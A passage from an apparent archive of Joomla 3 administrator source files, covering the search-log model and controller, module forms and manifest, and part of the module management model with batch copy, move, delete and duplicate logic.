	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.hits', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		// Special state for toggle results button.
		$this->setState('show_results', $this->getUserStateFromRequest($this->context . '.show_results', 'show_results', 1, 'int'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_search');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('show_results');
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from($db->quoteName('#__core_log_searches', 'a'));

		// Filter by search in title
		if ($search = $this->getState('filter.search'))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where($db->quoteName('a.search_term') . ' LIKE ' . $search);
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.hits')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Override the parent getItems to inject optional data.
	 *
	 * @return  mixed  An array of objects on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		$items = parent::getItems();

		// Determine if number of results for search item should be calculated
		// by default it is `off` as it is highly query intensive
		if ($this->getState('show_results'))
		{
			JPluginHelper::importPlugin('search');
			$app = JFactory::getApplication();

			if (!class_exists('JSite'))
			{
				// This fools the routers in the search plugins into thinking it's in the frontend
				JLoader::register('JSite', JPATH_ADMINISTRATOR . '/components/com_search/helpers/site.php');
			}

			foreach ($items as &$item)
			{
				$results = $app->triggerEvent('onContentSearch', array($item->search_term));
				$item->returns = 0;

				foreach ($results as $result)
				{
					$item->returns += count($result);
				}
			}
		}

		return $items;
	}

	/**
	 * Method to reset the search log table.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function reset()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__core_log_searches'));
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return true;
	}
}
com_search/models/forms/filter_searches.xml000060400000001566152455305310015153 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_SEARCH_SEARCH_IN_PHRASE"
			description="COM_SEARCH_SEARCH_IN_PHRASE"
			hint="JSEARCH_FILTER"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="a.hits ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.search_term ASC">COM_SEARCH_HEADING_SEARCH_TERM_ASC</option>
			<option value="a.search_term DESC">COM_SEARCH_HEADING_SEARCH_TERM_DESC</option>
			<option value="a.hits ASC">JGLOBAL_HITS_ASC</option>
			<option value="a.hits DESC">JGLOBAL_HITS_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_search/access.xml000060400000001020152455305310010622 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_search">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_search/controllers/searches.php000060400000002253152455305310013524 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of search terms.
 *
 * @since  1.6
 */
class SearchControllerSearches extends JControllerLegacy
{
	/**
	 * Method to reset the search log table.
	 *
	 * @return  boolean
	 */
	public function reset()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel('Searches');

		if (!$model->reset())
		{
			JError::raiseWarning(500, $model->getError());
		}

		$this->setRedirect('index.php?option=com_search&view=searches');
	}

	/**
	 * Method to toggle the view of results.
	 *
	 * @return  boolean
	 */
	public function toggleResults()
	{
		// Check for request forgeries.
		$this->checkToken();

		if ($this->getModel('Searches')->getState('show_results', 1, 'int') === 0)
		{
			$this->setRedirect('index.php?option=com_search&view=searches&show_results=1');
		}
		else
		{
			$this->setRedirect('index.php?option=com_search&view=searches&show_results=0');
		}
	}
}
com_modules/layouts/toolbar/newmodule.php000060400000001034152455305310014721 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$text = JText::_('JTOOLBAR_NEW');
?>
<button onclick="location.href='index.php?option=com_modules&amp;view=select'" class="btn btn-small btn-success" title="<?php echo $text; ?>">
	<span class="icon-plus icon-white" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
com_modules/layouts/toolbar/cancelselect.php000060400000000757152455305310015362 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$text = JText::_('JTOOLBAR_CANCEL');
?>
<button onclick="location.href='index.php?option=com_modules'" class="btn" title="<?php echo $text; ?>">
	<span class="icon-remove" aria-hidden="true"></span> <?php echo $text; ?>
</button>
com_modules/modules.xml000060400000001747152455305310011254 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_modules</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_MODULES_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>modules.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_modules.ini</language>
			<language tag="en-GB">language/en-GB.com_modules.sys.ini</language>
		</languages>
	</administration>
</extension>
com_modules/models/forms/advanced.xml000060400000002050152455305310013746 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset
			name="advanced">

			<field
				name="module_tag"
				type="moduletag"
				label="COM_MODULES_FIELD_MODULE_TAG_LABEL"
				description="COM_MODULES_FIELD_MODULE_TAG_DESC"
				default="div"
				validate="options"
			/>

			<field
				name="bootstrap_size"
				type="integer"
				label="COM_MODULES_FIELD_BOOTSTRAP_SIZE_LABEL"
				description="COM_MODULES_FIELD_BOOTSTRAP_SIZE_DESC"
				first="0"
				last="12"
				step="1"
			/>

			<field
				name="header_tag"
				type="headertag"
				label="COM_MODULES_FIELD_HEADER_TAG_LABEL"
				description="COM_MODULES_FIELD_HEADER_TAG_DESC"
				default="h3"
				validate="options"
			/>

			<field
				name="header_class"
				type="text"
				label="COM_MODULES_FIELD_HEADER_CLASS_LABEL"
				description="COM_MODULES_FIELD_HEADER_CLASS_DESC"
			/>

			<field
				name="style"
				type="chromestyle"
				label="COM_MODULES_FIELD_MODULE_STYLE_LABEL"
				description="COM_MODULES_FIELD_MODULE_STYLE_DESC"
			/>
		</fieldset>
	</fields>
</form>
com_modules/models/forms/module.xml000060400000006371152455305310013500 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="id" 
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
		/>

		<field 
			name="title" 
			type="text"
			label="JGLOBAL_TITLE"
			description="COM_MODULES_FIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			maxlength="100"
			required="true"
		/>

		<field 
			name="note" 
			type="text"
			label="COM_MODULES_FIELD_NOTE_LABEL"
			description="COM_MODULES_FIELD_NOTE_DESC"
			maxlength="255"
			size="40"
			class="span12"
		/>

		<field 
			name="module" 
			type="hidden"
			label="COM_MODULES_FIELD_MODULE_LABEL"
			description="COM_MODULES_FIELD_MODULE_DESC"
			readonly="readonly"
			size="20"
		/>

		<field 
			name="showtitle" 
			type="radio"
			label="COM_MODULES_FIELD_SHOWTITLE_LABEL"
			description="COM_MODULES_FIELD_SHOWTITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			size="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="published" 
			type="list"
			label="JSTATUS"
			description="COM_MODULES_FIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="publish_up"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_UP_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_UP_DESC"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_DOWN_DESC"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field 
			name="client_id" 
			type="hidden"
			label="COM_MODULES_FIELD_CLIENT_ID_LABEL"
			description="COM_MODULES_FIELD_CLIENT_ID_DESC"
			readonly="true"
			size="1"
		/>

		<field 
			name="position" 
			type="moduleposition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			description="COM_MODULES_FIELD_POSITION_DESC"
			default=""
			maxlength="50"
		/>

		<field 
			name="access" 
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field 
			name="ordering" 
			type="moduleorder"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			linked="position"
		/>

		<field 
			name="content" 
			type="editor"
			label="COM_MODULES_FIELD_CONTENT_LABEL"
			description="COM_MODULES_FIELD_CONTENT_DESC"
			buttons="true"
			filter="JComponentHelper::filterText"
			hide="readmore,pagebreak,module"
		/>

		<field 
			name="language" 
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="JFIELD_MODULE_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field 
			name="assignment" 
			type="hidden"
		/>

		<field 
			name="assigned" 
			type="hidden"
		/>

		<field 
			name="asset_id" 
			type="hidden"
			filter="unset"
		/>

		<field 
			name="rules" 
			type="rules"
			label="JFIELD_RULES_LABEL"
			translate_label="false"
			filter="rules"
			component="com_modules"
			section="module"
			validate="rules"
		/>
	</fieldset>
</form>
com_modules/models/forms/moduleadmin.xml000060400000006375152455305310014515 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="id" 
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
		/>

		<field 
			name="title" 
			type="text"
			label="JGLOBAL_TITLE"
			description="COM_MODULES_FIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			maxlength="100"
			required="true"
		/>

		<field 
			name="note" 
			type="text"
			label="COM_MODULES_FIELD_NOTE_LABEL"
			description="COM_MODULES_FIELD_NOTE_DESC"
			maxlength="255"
			size="40"
			class="span12"
		/>

		<field 
			name="module" 
			type="hidden"
			label="COM_MODULES_FIELD_MODULE_LABEL"
			description="COM_MODULES_FIELD_MODULE_DESC"
			readonly="readonly"
			size="20"
		/>

		<field 
			name="showtitle" 
			type="radio"
			label="COM_MODULES_FIELD_SHOWTITLE_LABEL"
			description="COM_MODULES_FIELD_SHOWTITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			size="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="published" 
			type="list"
			label="JSTATUS"
			description="COM_MODULES_FIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="publish_up"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_UP_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_UP_DESC"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_DOWN_DESC"
			filter="user_utc"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field 
			name="client_id" 
			type="hidden"
			label="COM_MODULES_FIELD_CLIENT_ID_LABEL"
			description="COM_MODULES_FIELD_CLIENT_ID_DESC"
			readonly="true"
			size="1"
		/>

		<field 
			name="position" 
			type="moduleposition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			description="COM_MODULES_FIELD_POSITION_DESC"
			default=""
			maxlength="50"
		/>

		<field 
			name="access" 
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field 
			name="ordering" 
			type="moduleorder"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			linked="position"
		/>

		<field
			name="language"
			type="language"
			label="JFIELD_LANGUAGE_LABEL"
			description="JFIELD_MODULE_LANGUAGE_DESC"
			default="*"
			client="administrator"
			>
			<option value="*">JALL</option>
		</field>

		<field 
			name="content" 
			type="editor"
			label="COM_MODULES_FIELD_CONTENT_LABEL"
			description="COM_MODULES_FIELD_CONTENT_DESC"
			buttons="true"
			filter="JComponentHelper::filterText"
			hide="readmore,pagebreak,module"
		/>

		<field name="assignment" type="hidden" />

		<field name="assigned" type="hidden" />

		<field name="asset_id" type="hidden"
			filter="unset"
		/>

		<field 
			name="rules" 
			type="rules"
			label="JFIELD_RULES_LABEL"
			translate_label="false"
			filter="rules"
			component="com_modules"
			section="module"
			validate="rules"
		/>
	</fieldset>
</form>
com_modules/models/forms/filter_modulesadmin.xml000060400000006601152455305310016235 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_modules/models/fields" />

	<field
		name="client_id"
		type="list"
		label=""
		filtermode="selector"
		layout="default"
		onchange="jQuery('#filter_position, #filter_module, #filter_language').val('');this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MODULES_MODULES_FILTER_SEARCH_LABEL"
			description="COM_MODULES_MODULES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_MODULES_MSG_MANAGE_NO_MODULES"
		/>
		<field
			name="state"
			type="status"
			label="JSTATUS"
			filter="*,-2,0,1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="position"
			type="modulesposition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_POSITION</option>
		</field>
		<field
			name="module"
			type="ModulesModule"
			label="COM_MODULES_OPTION_SELECT_MODULE"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_MODULE</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
		<field
			name="language"
			type="language"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			client="administrator"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,-2"
			onchange="this.form.submit();"
			default="a.position ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.position ASC">COM_MODULES_HEADING_POSITION_ASC</option>
			<option value="a.position DESC">COM_MODULES_HEADING_POSITION_DESC</option>
			<option value="name ASC">COM_MODULES_HEADING_MODULE_ASC</option>
			<option value="name DESC">COM_MODULES_HEADING_MODULE_DESC</option>
			<option value="ag.title ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="ag.title DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.language ASC" requires="adminlanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC" requires="adminlanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MODULES_LIST_LIMIT"
			description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_modules/models/module.php000060400000066721152455305310012346 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Module model.
 *
 * @since  1.6
 */
class ModulesModelModule extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.4
	 */
	public $typeAlias = 'com_modules.module';

	/**
	 * @var    string  The prefix to use with controller messages.
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MODULES';

	/**
	 * @var    string  The help screen key for the module.
	 * @since  1.6
	 */
	protected $helpKey = 'JHELP_EXTENSIONS_MODULE_MANAGER_EDIT';

	/**
	 * @var    string  The help screen base URL for the module.
	 * @since  1.6
	 */
	protected $helpURL;

	/**
	 * Batch copy/move command. If set to false,
	 * the batch copy/move command is not supported
	 *
	 * @var string
	 */
	protected $batch_copymove = 'position_id';

	/**
	 * Allowed batch commands
	 *
	 * @var array
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id' => 'batchLanguage',
	);

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_after_delete'  => 'onExtensionAfterDelete',
				'event_after_save'    => 'onExtensionAfterSave',
				'event_before_delete' => 'onExtensionBeforeDelete',
				'event_before_save'   => 'onExtensionBeforeSave',
				'events_map'          => array(
					'save'   => 'extension',
					'delete' => 'extension'
				)
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');

		if (!$pk)
		{
			if ($extensionId = (int) $app->getUserState('com_modules.add.module.extension_id'))
			{
				$this->setState('extension.id', $extensionId);
			}
		}

		$this->setState('module.id', $pk);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_modules');
		$this->setState('params', $params);
	}

	/**
	 * Batch copy modules to a new position or current.
	 *
	 * @param   integer  $value     The new value matching a module position.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	protected function batchCopy($value, $pks, $contexts)
	{
		// Set the variables
		$user = JFactory::getUser();
		$table = $this->getTable();
		$newIds = array();

		foreach ($pks as $pk)
		{
			if ($user->authorise('core.create', 'com_modules'))
			{
				$table->reset();
				$table->load($pk);

				// Set the new position
				if ($value == 'noposition')
				{
					$position = '';
				}
				elseif ($value == 'nochange')
				{
					$position = $table->position;
				}
				else
				{
					$position = $value;
				}

				$table->position = $position;

				// Copy of the Asset ID
				$oldAssetId = $table->asset_id;

				// Alter the title if necessary
				$data = $this->generateNewTitle(0, $table->title, $table->position);
				$table->title = $data['0'];

				// Reset the ID because we are making a copy
				$table->id = 0;

				// Unpublish the new module
				$table->published = 0;

				if (!$table->store())
				{
					$this->setError($table->getError());

					return false;
				}

				// Get the new item ID
				$newId = $table->get('id');

				// Add the new ID to the array
				$newIds[$pk] = $newId;

				// Now we need to handle the module assignments
				$db = $this->getDbo();
				$query = $db->getQuery(true)
					->select($db->quoteName('menuid'))
					->from($db->quoteName('#__modules_menu'))
					->where($db->quoteName('moduleid') . ' = ' . $pk);
				$db->setQuery($query);
				$menus = $db->loadColumn();

				// Insert the new records into the table
				foreach ($menus as $menu)
				{
					$query->clear()
						->insert($db->quoteName('#__modules_menu'))
						->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid')))
						->values($newId . ', ' . $menu);
					$db->setQuery($query);
					$db->execute();
				}

				// Copy rules
				$query->clear()
					->update($db->quoteName('#__assets', 't'))
					->join('INNER', $db->quoteName('#__assets', 's') .
						' ON ' . $db->quoteName('s.id') . ' = ' . $oldAssetId
					)
					->set($db->quoteName('t.rules') . ' = ' . $db->quoteName('s.rules'))
					->where($db->quoteName('t.id') . ' = ' . $table->asset_id);

				$db->setQuery($query)->execute();
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move modules to a new position or current.
	 *
	 * @param   integer  $value     The new value matching a module position.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	protected function batchMove($value, $pks, $contexts)
	{
		// Set the variables
		$user = JFactory::getUser();
		$table = $this->getTable();

		foreach ($pks as $pk)
		{
			if ($user->authorise('core.edit', 'com_modules'))
			{
				$table->reset();
				$table->load($pk);

				// Set the new position
				if ($value == 'noposition')
				{
					$position = '';
				}
				elseif ($value == 'nochange')
				{
					$position = $table->position;
				}
				else
				{
					$position = $value;
				}

				$table->position = $position;

				if (!$table->store())
				{
					$this->setError($table->getError());

					return false;
				}
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   3.2
	 */
	protected function canEditState($record)
	{
		// Check for existing module.
		if (!empty($record->id))
		{
			return JFactory::getUser()->authorise('core.edit.state', 'com_modules.module.' . (int) $record->id);
		}

		// Default to component settings if module not known.
		return parent::canEditState($record);
	}

	/**
	 * Method to delete rows.
	 *
	 * @param   array  &$pks  An array of item ids.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 * @throws  Exception
	 */
	public function delete(&$pks)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$pks        = (array) $pks;
		$user       = JFactory::getUser();
		$table      = $this->getTable();
		$context    = $this->option . '.' . $this->name;

		// Include the plugins for the on delete events.
		JPluginHelper::importPlugin($this->events_map['delete']);

		// Iterate the items to delete each one.
		foreach ($pks as $pk)
		{
			if ($table->load($pk))
			{
				// Access checks.
				if (!$user->authorise('core.delete', 'com_modules.module.' . (int) $pk) || $table->published != -2)
				{
					JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));

					return;
				}

				// Trigger the before delete event.
				$result = $dispatcher->trigger($this->event_before_delete, array($context, $table));

				if (in_array(false, $result, true) || !$table->delete($pk))
				{
					throw new Exception($table->getError());
				}
				else
				{
					// Delete the menu assignments
					$db    = $this->getDbo();
					$query = $db->getQuery(true)
						->delete('#__modules_menu')
						->where('moduleid=' . (int) $pk);
					$db->setQuery($query);
					$db->execute();

					// Trigger the after delete event.
					$dispatcher->trigger($this->event_after_delete, array($context, $table));
				}

				// Clear module cache
				parent::cleanCache($table->module, $table->client_id);
			}
			else
			{
				throw new Exception($table->getError());
			}
		}

		// Clear modules cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to duplicate modules.
	 *
	 * @param   array  &$pks  An array of primary key IDs.
	 *
	 * @return  boolean|JException  Boolean true on success, JException instance on error
	 *
	 * @since   1.6
	 * @throws  Exception
	 */
	public function duplicate(&$pks)
	{
		$user = JFactory::getUser();
		$db   = $this->getDbo();

		// Access checks.
		if (!$user->authorise('core.create', 'com_modules'))
		{
			throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED'));
		}

		$table = $this->getTable();

		foreach ($pks as $pk)
		{
			if ($table->load($pk, true))
			{
				// Reset the id to create a new record.
				$table->id = 0;

				// Alter the title.
				$m = null;

				if (preg_match('#\((\d+)\)$#', $table->title, $m))
				{
					$table->title = preg_replace('#\(\d+\)$#', '(' . ($m[1] + 1) . ')', $table->title);
				}

				$data = $this->generateNewTitle(0, $table->title, $table->position);
				$table->title = $data[0];

				// Unpublish duplicate module
				$table->published = 0;

				if (!$table->check() || !$table->store())
				{
					throw new Exception($table->getError());
				}

				$query = $db->getQuery(true)
					->select($db->quoteName('menuid'))
					->from($db->quoteName('#__modules_menu'))
					->where($db->quoteName('moduleid') . ' = ' . (int) $pk);

				$db->setQuery($query);
				$rows = $db->loadColumn();

				foreach ($rows as $menuid)
				{
					$tuples[] = (int) $table->id . ',' . (int) $menuid;
				}
			}
			else
			{
				throw new Exception($table->getError());
			}
		}

		if (!empty($tuples))
		{
			// Module-Menu Mapping: Do it in one query
			$query = $db->getQuery(true)
				->insert($db->quoteName('#__modules_menu'))
				->columns($db->quoteName(array('moduleid', 'menuid')))
				->values($tuples);

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				return JError::raiseWarning(500, $e->getMessage());
			}
		}

		// Clear modules cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the title.
	 *
	 * @param   integer  $categoryId  The id of the category. Not used here.
	 * @param   string   $title       The title.
	 * @param   string   $position    The position.
	 *
	 * @return  array  Contains the modified title.
	 *
	 * @since   2.5
	 */
	protected function generateNewTitle($categoryId, $title, $position)
	{
		// Alter the title & alias
		$table = $this->getTable();

		while ($table->load(array('position' => $position, 'title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return array($title);
	}

	/**
	 * Method to get the client object
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function &getClient()
	{
		return $this->_client;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// The folder and element vars are passed when saving the form.
		if (empty($data))
		{
			$item     = $this->getItem();
			$clientId = $item->client_id;
			$module   = $item->module;
			$id       = $item->id;
		}
		else
		{
			$clientId = ArrayHelper::getValue($data, 'client_id');
			$module   = ArrayHelper::getValue($data, 'module');
			$id       = ArrayHelper::getValue($data, 'id');
		}

		// Add the default fields directory
		$baseFolder = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
		JForm::addFieldPath($baseFolder . '/modules' . '/' . $module . '/field');

		// These variables are used to add data from the plugin XML files.
		$this->setState('item.client_id', $clientId);
		$this->setState('item.module', $module);

		// Get the form.
		if ($clientId == 1)
		{
